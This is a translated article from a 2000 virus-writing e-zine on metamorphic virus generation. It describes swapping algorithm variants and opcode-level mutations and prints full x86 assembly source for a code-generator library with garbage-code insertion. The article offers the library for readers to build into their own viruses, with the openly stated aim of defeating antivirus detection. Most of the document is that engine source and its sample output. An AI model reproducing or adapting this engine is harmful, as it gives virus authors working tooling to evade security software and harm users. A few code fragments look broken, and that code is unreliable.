# Metamorphism (part 1)

Z0mbie
Matrix Zine [2]
September 2000

xlated from russian for MATRiX #2 E-Zine

## PREFACE

Metamorphism
generation of the new polymorphic virus copy.

Here will be described some ideas about polymorphic code generation.

So, our task is to generate code of the following properties:

• performing some specified actions
• polymorphic
• similar to code generated by the HLL compilers
• different to code used in the known viruses

Two generated (metamorphic) virus bodies may differ:

• on the algorithm-level
• on the opcode-level

## What is algorithm-level?

All the generated (metamorphic) body consists of interchangeable algorithmic parts, in other words of blocks performing single tasks, such as file operations, ring0-entering, residency, handlers, infecting subroutines, etc., and each of these blocks may have some variants. I.e. on this level generated body consists of kinda subroutines and each of them is randomly selected (from the predefined set) while generation.

## What is opcode-level?

This just means that each pseudo-language element (which is base of the algorithmic-level) may be converted (compiled) into different set of opcodes; then these opcodes may be changed and/or mixed.

## Example

```Task: calculate f(x) = 10 * sin(2 * x)

------------------------ algorithm-level ----------------------->
|
|        f(x) = 10*sin(2*x)             f(x) = sin(x)*cos(x)*20
|
|        variant 1                      variant 2
|
|        t = x                          t = x
opcode-    t = t * 2                      a = sin(t)
-level      t = sin(t)                     b = cos(t)
|        t = t * 10                     t = a * b
|                                       t = t * 20
|
|        variant 3                      variant 4
|
|        t = 2 * x                      b = cos(x)
|        a = sin(t)                     t = 20 * b
|        t = 10 * a                     a = sin(x)
|                                       t = t * a
```

## Algorithm generation

It is clear, that we can not change code on the algorithm-level, so all the variants of some action must be predefined. The more variants of the same actions u use, the more your virus will fuck av asses. Lets imagine virus consisting of blocks A and B, and each of them has two variants: A1/A2 and B1/B2. So, we have 4 different viruses: A1B1, A1B2, A2B1 and A2B2. For example A1=residensy, A2=current directory scanning, B1=COM infection and B2=EXE infection. And each of A1/A2/... subblocks may be changed in the same way, and so on.

## Code generation

This is the main objective of this article. May be said that metamorphic code generator is kinda virus constructor which works automatically and produces not source but code.

So, we have one variant of the algorithm which is represented using variables. Farther, all operations between these variables will be realized using registers.

This allows us:

• to use fixed set of opcodes, which is easy and similar to HLL-code;
• to use lots of garbage ('coz there will be no globally used registers)
• to write badly disassemling code

So, on the level of variables the following macros may be used:

```	(cmd = mov/cmd/add/sub/xor)

cmd     v, c
cmd     v1, [v2]
cmd     [v1], v2
cmd     v1, v2
```

These variable-level macros are expanded into register-level:

```        cmd     v, c
mov     r, c
cmd     v, r
cmd     v1, [v2]
mov     r2, v2     ...
cmd     r1, [r2]
mov     v1, r1
cmd     [v1], v2
mov     r1, v1
mov     r2, v2
cmd     [r1], r2
cmd     v1, v2
mov     r1, v1     mov r1, v1     mov r2, v2
mov     r2, v2     cmd r1, v2     cmd v1, r2
cmd     r1, r2     mov v1, r1
mov     v1, r1
cmd     r, v
mov     r1, offset v      cmd r, v
cmd     r, [r1]
mov     v, r
mov     r1, offset v      cmd v, r
cmd     [r1], r
mov     r, c
...
```

At the end of this text, there are CODE GENERATOR library which allows you to generate code which will work with variables on the register-level.

Lets our task be to calculate: c = a xor b, where a, b and c are memory-variables. Then CODEGEN library allows you just to do:

lea     edi, outbuf

push    c_mov
push    offset c
push    offset a
call    cmd_v_v         ; mov c, a

push    c_xor
push    offset c
push    offset b
call    cmd_v_v         ; xor c, b

Or, using macros, write:

lea     edi, outbuf
call3   cmd_v_v, c_mov, &lt;offset c>, &lt;offset a>  ; c = a
call3   cmd_v_v, c_xor, &lt;offset c>, &lt;offset b>  ; c ^= b

After that, the following code will be generated:

```   variant 1                    variant 2

push    0C84B53DEh           mov     eax,[1000400Ch]
pop     ebx                  mov     [10004014h],eax
mov     ecx, [ebx]           pop     ecx
mov     ebx, ecx             mov     edx,0C8417FA7h
pop     eax                  xor     [edx],ecx
sub     eax, 68F28923h
mov     [eax], ebx
push    0CC8FF745h
pop     eax
push    dword ptr [eax]
pop     edx
push    edx
pop     ebx
push    0AE0577D4h
pop     esi
xor     esi, 0BC5A5A6Dh
sub     esi, 75F6D972h
sub     esi, 78BBFB1Bh
xor     esi, 0C9CC8138h
sub     esi, 993B95D9h
sub     esi, 81A3404Eh
xor     [esi], ebx
```

You may also include the following subroutine into your source:

endcmd:                 mov     al, 90h         ; nop
stosb
ret

This subroutine will be called after each new opcode is stored into output buffer. It it easy to understand that it may be replaced with garbage generator or simply with RET.

Here is an example of the 'c = a xor b' generator with usage of ETG garbage generator:

include                 codegen.equ

callW   GetTickCount    ; randomize
xor     randseed, eax

mov     regfree, 11001111b  ; edi/esi/ebx/edx/ecx/eax
lea     edi, buf

call3   cmd_v_v, c_mov, <offset c>, <offset a>; c = a
call3   cmd_v_v, c_xor, <offset c>, <offset b>; c ^= b

mov     al, 0C3h        ; ret
stosb

call    near ptr buf    ; call generated code

mov     eax, a          ; check if (c == a ^ b)
xor     eax, b
cmp     eax, c
jne     \$               ; hangup if error
...

endcmd:                 push    offset my_random; external subroutine: rnd
push    edi             ; ptr to output buffer
push    1024            ; max size of buffer
push    3               ; max number of commands
push    offset etgsize  ; ptr to generated bufsize
push    regfree         ; REG_xxx (dest)
push    REG_ALL         ; REG_xxx (src)
push    ETG_ALL-ETG_SEG ; ETG_xxx (cmd)
call    etg_engine
retn

randseed                dd      ?
regfree                 dd      ?
etgsize                 dd      ?

include                 etg.inc
include                 codegen.inc

And here is the code generated:

mov     ebx,01000400C
mov     ecx,eax
mov     edx,0F148D821
neg     dl
push    ebx
repne
mov     edx,0180ED75A
lea     ecx,[0D00B2AA0]
pop     edi
inc     cl
repe
mov     edx,049B628C3
mov     esi,[edi]
inc     eax
rol     edx,1
sub     al,0B0
push    esi
repne
test    ch,030
pop     d,[010004014]
sub     dl,008
rcl     cl,037
btr     ebx,-060
push    d,[010004014]
bts     ebx,ebx
cmp     esi,ebx
pop     eax
sar     ch,cl
bt      ecx,03A
???     bh,1
xor     eax,[010004010]
movsx   ebx,bx
push    eax
inc     ebx
neg     bh
bsf     esi,eax
pop     d,[010004014]
mov     bh,025
test    dh,ch
bswap   ebx

Thats all!

====[begin CODEGEN.EQU]======================================================

c_mov                   equ     8Bh
c_sub                   equ     2Bh    ; e8
c_xor                   equ     33h    ; f0
c_cmp                   equ     3Bh    ; f8

esp4                    equ     <[esp+4]>
esp8                    equ     <[esp+8]>
esp12                   equ     <[esp+12]>

b0                      equ     <byte ptr 0>
b4                      equ     <byte ptr 4>

d0                      equ     <dword ptr 0>
d4                      equ     <dword ptr 4>
d8                      equ     <dword ptr 8>
d12                     equ     <dword ptr 12>

call1                   macro   p, x1
push    x1
call    p
endm

call2                   macro   p, x1, x2
push    x1
push    x2
call    p
endm

call3                   macro   p, x1, x2, x3
push    x1
push    x2
push    x3
call    p
endm

====[end CODEGEN.EQU]========================================================
====[begin CODEGEN.INC]======================================================

; ---------------------------------------------------------------------------
; CODE GENERATOR   version 1.60   (x) 2000 Z0MBiE
; ---------------------------------------------------------------------------

;FUNCTION                       INPUT           OUTPUT          USES

;cmd_v_c:                       stack:cmd,v,c                   edi
;cmd_v_v:                       stack:cmd,v1,v2                 edi
;cmd_v_memv:                    stack:cmd,v1,v2                 edi
;cmd_memv_v:                    stack:cmd,v1,v2                 edi

;cmd_r_r:                       stack:cmd,r1,r2                 edi
;mov_r_offsv:                   stack:r,v                       edi
;cmd_r_c:                       stack:cmd,r,c                   edi
;cmd_r_memr:                    stack:cmd,r1,r2                 edi
;cmd_memr_r:                    stack:cmd,r1,r2                 edi
;cmd_r_v:                       stack:cmd,r,v                   edi
;cmd_v_r:                       stack:cmd,v,r                   edi

;rnd:                           stack:range     zf, eax
;rnd2:                                          zf, eax
;rnd3:                                          zf, eax

;reg_alloc:                                     eax=r
;reg_free:                      stack:r
;reg_xchg:                      stack:r         stack:r

;r1_alloc:                                      r1
;r2_alloc:                                      r2
;r1_free:
;r2_free:
;r1_xchg:                                       r1
;r2_xchg:                                       r2

; ---------------------------------------------------------------------------

metaerror:              int 3
int 3
int 3

; ---------------------------------------------------------------------------

;endcmd:                <-- called after each instruction. YOU must define it

; ---------------------------------------------------------------------------

USE_OWN_RND             equ     ?

IFDEF   USE_OWN_RND
my_random:              mov     eax, randseed
imul    eax, 214013
mov     randseed, eax
shr     eax, 16
imul    eax, esp4
shr     eax, 16
retn
ENDIF

rnd2:                   call1   my_random, 2
lea     esp, [esp+4]
retn

rnd3:                   call1   my_random, 3
lea     esp, [esp+4]
retn

; ---------------------------------------------------------------------------

reg_alloc:              cmp     regfree, 0
jz      metaerror
__cycle:                call1   my_random, 8
btr     regfree, eax
jnc     __cycle
retn

reg_free:               mov     eax, esp4
bts     regfree, eax
jc      metaerror
retn     4

reg_xchg:               cmp     regfree, 0
je      __exit
call    rnd3
jnz     __exit
call    reg_alloc
push    ecx
xchg    ecx, eax
call3   cmd_r_r, c_mov, ecx, esp4.d12
call1   reg_free, esp4.d4
mov     esp4.d4, ecx
pop     ecx
__exit:                 retn

; ---------------------------------------------------------------------------

r1      = ebx
r2      = esi

r1_alloc:               call    reg_alloc
xchg    r1, eax
retn

r2_alloc:               call    reg_alloc
xchg    r2, eax
retn

r1_free:                push    r1
call    reg_free
retn

r2_free:                push    r2
call    reg_free
retn

r1_xchg:                push    r1
call    reg_xchg
pop     r1
retn

r2_xchg:                push    r2
call    reg_xchg
pop     r2
retn

; ---------------------------------------------------------------------------

cmd_r_r:                mov     al, esp12             ; cmd r, r
cmp     al, c_mov
je      __mov
__r00:                  call    rnd2
jz      __b
__a:                    mov     al, esp12
stosb
mov     al, esp8
shl     al, 3
or      al, esp4
or      al, 0C0h
stosb
call    endcmd
retn    12
__b:                    mov     al, esp12
xor     al, 2
stosb
mov     al, esp4
shl     al, 3
or      al, esp8
or      al, 0C0h
stosb
call    endcmd
retn    12
__mov:                  call    rnd2
jz      __r00
__r01:                  mov     al, 50h               ; push r1
or      al, esp4
stosb
call    endcmd
mov     al, 58h               ; pop r2
or      al, esp8
stosb
call    endcmd
retn    12
; ---------------------------------------------------------------------------

; LEA may be used here
mov_r_offsv:            call3   cmd_r_c, c_mov, esp8.d4, esp4.d8
retn    8

; ---------------------------------------------------------------------------

cmd_r_c:                mov     al, esp12
cmp     al, c_mov
je      __mov_r_c
__notmov:               mov     al, 81h
stosb
mov     al, esp12
cmp     al, c_xor
mov     ah, 0F0h
je      __stosb
mov     ah, 0C0h
je      __stosb
cmp     al, c_sub
mov     ah, 0E8h
je      __stosb
cmp     al, c_cmp
mov     ah, 0F8h
je      __stosb
__stosb:                mov     al, ah
or      al, esp8
stosb
mov     eax, esp4
stosd
call    endcmd
retn    12

__mov_r_c:              call1    my_random, 5
pop      ecx
jz      __mov           ; 0
dec     eax
dec     eax
jz      __mov_sub       ; 2
dec     eax
jz      __mov_xor       ; 3
; 4
__pushpop:              mov     al, 68h                 ; push c
stosb
mov     eax, esp4
stosd
call    endcmd
mov     al, 58h                 ; pop r
or      al, esp8
stosb
call    endcmd
retn    12
__mov:                  mov     al, 0B8h                ; mov r, c
or      al, esp8
stosb
mov     eax, esp4
stosd
call    endcmd
retn    12

sub     eax, randseed
push    randseed
call3   cmd_r_c, c_mov, esp8.d4+4, eax
pop     eax
retn    12
__mov_sub:              mov     eax, esp4
push    randseed
call3   cmd_r_c, c_mov, esp8.d4+4, eax
pop     eax
call3   cmd_r_c, c_sub, esp8.d4, eax
retn    12
__mov_xor:              mov     eax, esp4
xor     eax, randseed
push    randseed
call3   cmd_r_c, c_mov, esp8.d4+4, eax
pop     eax
call3   cmd_r_c, c_xor, esp8.d4, eax
retn    12

; ---------------------------------------------------------------------------

cmd_r_memr:             mov     al, esp12            ; cmd x1, [x2]
cmp     al, c_mov
je      __mov
__r01:                  mov     al, esp12
stosb
mov     al, esp8
shl     al, 3
or      al, esp4
stosb
call    endcmd
retn    12
__mov:                  call    rnd2
jz      __r01
__r00:                  mov     al, 0FFh                ; push [x2]
stosb
mov     al, 30h
or      al, esp4
stosb
call    endcmd
mov     al, 58h                 ; pop x1
or      al, esp8
stosb
call    endcmd
retn    12

; ---------------------------------------------------------------------------

cmd_memr_r:             mov     al, esp12            ; cmd [x1], x2
cmp     al, c_mov
je      __mov
__r01:                  mov     al, esp12
xor     al, 2
stosb
mov     al, esp4
shl     al, 3
or      al, esp8
stosb
call    endcmd
retn    12
__mov:                  call    rnd2
jz      __r01
mov     al, 50h                 ; push x2
or      al, esp4
stosb
call    endcmd
mov     al, 8Fh                 ; pop [x1]
stosb
xor     al, al
or      al, esp8
stosb
call    endcmd
retn    12

; ---------------------------------------------------------------------------

cmd_r_v:                call    rnd2
jz      __r01

__r00:                  mov     al, esp12            ; cmd r, [v]
cmp     al, c_mov
je      __mov
__r0000:                mov     al, esp12
stosb
mov     eax, esp8
shl     al, 3
or      al, 5
stosb
mov     eax, esp4
stosd
call    endcmd
retn    12
__mov:                  call    rnd2
jz      __r0000
__r0001:                mov     ax, 35FFh       ; push [v]
stosw
mov     eax, esp4
stosd
call    endcmd
mov     al, 58h         ; pop r
or      al, esp8
stosb
call    endcmd
retn    12
__r01:                  push    r1
call    r1_alloc
call2   mov_r_offsv, r1, esp4.d8; mov r1, offset v
call    r1_xchg
call3   cmd_r_memr, esp12.d4, esp8.d8, r1   ; cmd r, [r1]
call    r1_free
pop     r1
retn    12

; ---------------------------------------------------------------------------

cmd_v_r:                call    rnd2
jz      __r01

__r00:                  mov     al, esp12            ; cmd [v], r
cmp     al, c_mov
je      __mov
__r0000:                mov     al, esp12
xor     al, 2
stosb
mov     eax, esp4
shl     al, 3
or      al, 5
stosb
mov     eax, esp8
stosd
call    endcmd
retn    12
__mov:                  call    rnd2
jz      __r0000
__r0001:                mov     al, 50h               ; push r
or      al, esp4
stosb
call    endcmd
mov     ax, 058Fh             ; pop [v]
stosw
mov     eax, esp8
stosd
call    endcmd
retn    12
__r01:                  push    r1
call    r1_alloc
call2   mov_r_offsv, r1, esp8.d8; mov r1, offset v
call    r1_xchg
call3   cmd_memr_r, esp12.d4, r1, esp4.d12 ; cmd [r1], r
call    r1_free
pop     r1
retn    12

; ---------------------------------------------------------------------------

cmd_v_c:                call    rnd2
jz      __r01

__r00:                  mov     al, esp12         ; cmd [v], c
cmp     al, c_mov
jne     __1
mov     ax, 05C7h
stosw
jmp     __2
__1:                    mov     al, 81h
stosb
mov     al, esp12
stosb
__2:                    mov     eax, esp8
stosd
mov     eax, esp4
stosd
call    endcmd
retn    12

__r01:                  push    r1
call    r1_alloc
call3   cmd_r_c, c_mov, r1, esp4.d12 ; mov r, c
call    r1_xchg
call3   cmd_v_r, esp12.d4, esp8.d8, r1  ; cmd v, r
call    r1_free
pop     r1
retn    12

; ---------------------------------------------------------------------------

cmd_v_v:                call    rnd3
jz      __r01
dec     eax
jz      __r02

__r00:                  push    r2
call1   alloc_r2_v, esp4.d4          ; mov r2, v2
call3   cmd_v_r, esp12.d4, esp8.d8, r2 ; cmd v1, r2
call    r2_free
pop     r2
retn    12

__r02:                  push    r1 r2
call2   alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1]
call1   alloc_r2_v, esp4.d8            ; mov r2, v2
call3   cmd_r_r, esp12.d0+8, r1, r2     ; cmd r1, r2
call    r2_free
jmp     cmd_v_v_l1

__r01:                  push    r1 r2
call2   alloc_r1_v_cmp, esp8.d0+8, esp12.d4+8 ; [mov r1, v1]
call3   cmd_r_v, esp12.d0+8, r1, esp4.d8+8; cmd r1,v2
cmd_v_v_l1:             cmp     esp12.b0+8, c_cmp
je      __skip
call    r1_xchg
call3   cmd_v_r, c_mov, esp8.d4+8, r1   ; mov v1,r1
__skip:                 call    r1_free
pop     r2 r1
retn    12

; ---------------------------------------------------------------------------

cmd_v_memv:             push    r1 r2
call2   alloc_r1_v_cmp, esp8.d8, esp12.d12 ; [mov r1, v1]
call1   alloc_r2_v, esp4.d8            ; mov r2, v2
call3   cmd_r_memr, esp12.d0+8, r1, r2; cmd r1, [r2]
call    r2_free
jmp     cmd_v_v_l1

; ---------------------------------------------------------------------------

cmd_memv_v:             push    r1 r2
call1   alloc_r1_v, esp8.d8               ; mov r1, v1
call1   alloc_r2_v, esp4.d8               ; mov r2, v2
call3   cmd_memr_r, esp12.d0+8, r1, r2; cmd [r1], r2
call    r1_free
call    r2_free
pop     r2 r1
retn    12

; ---------------------------------------------------------------------------

alloc_r1_v_cmp:         call    r1_alloc
cmp     esp4.b0, c_mov
je      __skip
call3   cmd_r_v, c_mov, r1, esp8.d8; mov r1, v
call    r1_xchg
__skip:                 retn    8

alloc_r1_v:             call    r1_alloc
call3   cmd_r_v, c_mov, r1, esp4.d8; mov r1, v
call    r1_xchg
retn    4

alloc_r2_v:             call    r2_alloc
call3   cmd_r_v, c_mov, r2, esp4.d8; mov r2, v
call    r2_xchg
retn    4

====[end CODEGEN.INC]========================================================